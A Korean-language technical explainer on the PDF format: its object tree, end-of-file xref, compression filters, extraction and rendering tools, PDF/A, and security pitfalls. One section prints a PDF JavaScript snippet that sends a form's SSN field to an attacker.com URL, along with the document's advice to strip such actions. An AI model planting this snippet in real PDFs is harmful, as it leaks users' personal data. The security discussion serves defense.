01 · PDF

이 문서가 답하는 질문: PDF 는 어떻게 30년 동안 “어디서 열든 똑같이 보이는” 약속을 지켜왔는가? 그 안엔 무엇이 들어있는가? MIME: application/pdf · 매직: %PDF-1.x (25 50 44 46 2D) · 표준: ISO 32000-1 (PDF 1.7), ISO 32000-2 (PDF 2.0)


한 줄 답 (Pyramid Top)

PDF 는 객체(Object) 트리 + 끝부분의 인덱스(xref) 로 구성된 자기 참조 파일이다. 끝 N KB 만 다운로드해도 임의 페이지의 위치를 알 수 있고 (랜덤 액세스), 텍스트는 폰트 좌표에 그려진 그림 일 뿐이라 추출이 어렵고, JavaScript / 폼 / 첨부파일을 품을 수 있어 보안 위협의 백화점이다.


Why — 왜 PDF 가 30년을 살아남았는가

1993년 Adobe Acrobat 1.0 출시 당시 PDF 의 약속은 단 하나: “어떤 OS · 프린터 · 폰트 환경에서도 똑같이 보이는 문서”.

이 약속을 지키려면 다음이 모두 한 파일에 들어있어야 한다:

  • 폰트 임베딩 — 받는 컴퓨터에 그 폰트가 없어도 됨.
  • 고정 좌표이 글자를 (x=72.0pt, y=720.0pt) 에 그려라.
  • 자기 참조 — 페이지 5 → 페이지 12 점프 시 이미 알고 있는 바이트 오프셋으로 점프.

그 결과 PDF 는 표시 명령어 + 리소스 + 인덱스 의 패키지가 되었다. HTML/Word 처럼 “흐르는” 문서가 아니라 고정된 그림 에 가깝다.


How — 어떻게 동작하는가

PDF 파일의 4-블록 구조

1. Header        : %PDF-1.7\n
2. Body          : 객체들 (1 0 obj ... endobj 의 반복)
3. Xref Table    : 각 객체의 바이트 오프셋
4. Trailer       : Catalog/Root 루트 객체 가리킴 + /Size 객체 수
   startxref N   ← Xref 테이블이 시작하는 바이트 위치
   %%EOF

객체(Object) 트리 — Catalog → Pages → Page → Content

Catalog (/Type /Catalog)
   └── Pages (/Type /Pages, /Kids [...])
         ├── Page 1 (/Type /Page, /Contents N R, /Resources ...)
         ├── Page 2
         └── Page 3

각 Page 의 /Contents그리기 명령 스트림:

BT                    % Begin Text
/F1 12 Tf             % 폰트 F1, 12pt
72 720 Td             % move to (72, 720)
(Hello World) Tj      % show text
ET                    % End Text

Xref 가 끝에 있어서 좋은 이유 — 랜덤 액세스

xref 가 파일 시작이 아니라 에 있다는 건 직관적이지 않다. 이유: incremental update — 기존 PDF 끝에 새 객체와 새 xref 만 덧붙여도 갱신된다. 부수 효과로 다음이 가능해진다:

# 1. 끝 1KB 만 받음
curl -r -1024 https://example.com/big.pdf -o tail.bin
 
# 2. 'startxref N' 파싱
strings tail.bin | tail
# → startxref 1234567
 
# 3. 1234567 부터 5KB 만 받음 (xref 본문)
curl -r 1234567-1239567 https://example.com/big.pdf -o xref.bin
 
# 4. xref 가 알려주는 페이지 객체 오프셋만 받음
curl -r OFFSET- https://example.com/big.pdf -o page1.bin

이래서 브라우저(pdf.js)와 모바일 뷰어가 2 GB PDF 의 마지막 페이지를 즉시 열 수 있다. HTTP Range: 헤더와의 시너지가 PDF 가 살아남은 또 하나의 이유다 (→ 01-transfer/).

압축 — Object Stream / FlateDecode

PDF 1.5+ 부터는 객체들을 묶어 Object Stream 으로 압축. 필터:

필터용도
/FlateDecodezlib (대부분의 텍스트/이미지 메타)
/DCTDecodeJPEG (/XObject /Subtype /Image)
/CCITTFaxDecode흑백 스캔 (TIFF 호환)
/JBIG2Decode흑백 문서 고압축 (Xerox 의 ‘8 → 6’ 사건의 그것)
/ASCII85Decode7비트 인코딩 (메일 호환용)

What — 구체 사양 / CLI

매직 / 식별

$ xxd doc.pdf | head -1
00000000: 2550 4446 2d31 2e37 0a25 e2e3 cfd3 0a  %PDF-1.7.%......
 
$ file doc.pdf
doc.pdf: PDF document, version 1.7

메타 / 구조 검사

$ pdfinfo doc.pdf
Title:           Quarterly Report 2026
Author:          Finance Team
Producer:        LibreOffice 7.5
PDF version:     1.7
Pages:           42
Encrypted:       no
File size:       3,145,728 bytes
Optimized:       yes Linearized (web-optimized)

텍스트 추출 — 3 단계 도구

도구용도한계
pdftotext (Poppler)단순 텍스트, 빠름표/레이아웃 깨짐
pdfplumber (Python)좌표 보존, 표 추출큰 PDF 느림
OCR (tesseract + pdftoppm)스캔 PDF (텍스트가 그림인 경우)글자 인식 오류
# 일반 PDF
$ pdftotext -layout doc.pdf -
 
# 스캔 PDF — 먼저 이미지로
$ pdftoppm -r 300 scan.pdf page -png
$ tesseract page-1.png stdout -l kor+eng

페이지 렌더링

엔진환경비고
Poppler (pdftoppm)서버, CLILinux 표준
MuPDF (mutool draw)서버, 임베디드빠르고 가벼움
pdf.js브라우저Mozilla, JS 단독 구현
PDFiumChrome, 모바일C++
Apple PDFKitiOS/macOS시스템

PDF/A — 장기 보존 프로파일

변종의미
PDF/A-1ISO 19005-1 (2005), 폰트 임베딩 필수, JS/오디오/비디오 금지
PDF/A-2JPEG2000, 투명도 허용
PDF/A-3임의 첨부파일 허용 (e-Invoice 의 ZUGFeRD/Factur-X 가 이걸 씀)

폼 / 서명

  • AcroForm — PDF 1.2 부터, 필드는 객체로 저장.
  • XFA — Adobe LiveCycle 의 XML 폼, PDF 2.0 에서 deprecated.
  • 디지털 서명/Sig 객체에 PKCS#7. 서명 후 변경 시 무효.

What-if — 잘못 다루면 어떻게 깨지는가

1) PDF JavaScript exfil

1 0 obj
<< /S /JavaScript /JS (
   var u = "https://attacker.com/?d=" + this.getField("ssn").value;
   app.launchURL(u);
) >>
endobj

폼 PDF 에서 사용자가 SSN 을 입력하면 외부 URL 로 전송. 대응: 서버 측에서 PDF 처리 시 /JS, /JavaScript, /AA (Additional Action), /OpenAction 제거.

2) PDF 첨부파일 (Embedded Files)

PDF 안에 임의 바이너리 첨부 가능 (/EmbeddedFile). 악성코드 운반 채널로 종종 사용. 메일 게이트웨이가 PDF 만 검사하면 통과.

3) JBIG2 의 Xerox 사건

2013년 발견 — 일부 Xerox 복사기가 스캔본을 PDF/JBIG2 로 압축할 때 숫자 ‘8’ 을 ‘6’ 으로 바꿔치기. 패턴 매칭 기반 압축의 함정. 의료 기록 / 건축 도면에서 발견.

4) Linearized 가 아닌 PDF + Range = 전체 다운로드

Linearized 1 이 없는 PDF 는 끝부분 xref 위치를 모름. 모바일 뷰어가 전체를 받아야 첫 페이지가 뜬다. qpdf --linearize 로 후처리.

5) 폰트 미임베딩

/FontDescriptor /FontFile 이 없으면 시스템 폰트로 대체 — Mac 에서 한글이 □□□. 대응: 생성 시 임베딩 강제, 검수 시 pdffonts file.pdf 로 모든 폰트가 emb yes 인지 확인.

$ pdffonts contract.pdf
name                           type        emb sub uni
------------------------------ ----------- --- --- ---
NotoSansCJKkr-Regular          CID Type 0  yes yes yes
Helvetica                      Type 1      no  no  no 위험

6) Zip-bomb 의 PDF 버전 — Stream Bomb

/Length 100 인데 /FlateDecode 풀면 1GB. 파서가 메모리 폭발. 대응: 디코드 출력 한계를 미리 정해두고 초과 시 abort.


Insight — 흥미로운 이야기

“PDF 는 PostScript 의 자식”

1982년 Adobe 의 PostScript 는 프린터 언어였다 (Turing-complete). “프린터 언어가 너무 강해서 화면용으로는 위험하다” → 1993년 PDF 는 PostScript 에서 루프와 변수를 빼고 인덱스를 더한 결과물. 그래서 PDF 는 “정적 PostScript + 인덱스” 라고 부르기도 한다.

“왜 PDF 텍스트 추출이 어려운가”

PDF 는 글자가 아니라 좌표 를 저장한다. (72, 720) 에 H, (78, 720) 에 e, (83, 720) 에 l… “Hello” 가 한 단어인지 파서가 모른다 — 좌표 거리로 추론할 뿐. 그래서 한국어 PDF 는 더 어렵다 (글자 폭 가변, kerning 보정).

“PDF 는 사실상의 ISO 표준이다”

2008년 ISO 32000-1 채택, 2017년 32000-2. 그 전까지 Adobe 의 사양서 가 사실상 표준이었고, 지금도 ISO 명세는 Adobe 사양과 거의 동일. 비슷한 케이스: HTML(WHATWG → ISO 가 아님), JPEG(ISO/IEC 10918).

“Linearized PDF 가 발명된 이유”

1996년 Acrobat 3.0. 56K 모뎀 시대에 큰 PDF 를 받느라 사용자가 떠나는 문제. “첫 페이지만이라도 먼저 보여주자” → Linearization (Web-optimized) 발명. Range 요청 + 끝부분 xref 로 첫 페이지를 5KB 안에 배치. 이게 30년 뒤 모바일 PDF 뷰어의 기반이 되었다.


요약 + Mermaid

PDF 는 객체 트리 + 끝의 인덱스(xref) + 트레일러 의 자기 참조 파일이다. “끝부터 읽는” 설계 덕에 Range 부분 다운로드 / 랜덤 페이지 액세스가 가능하고, 폰트 임베딩 덕에 모든 OS 에서 같은 모양이 나온다. 텍스트는 좌표에 그려진 그림 이라 추출이 까다롭고, JS/폼/첨부 때문에 보안 검토가 필수다.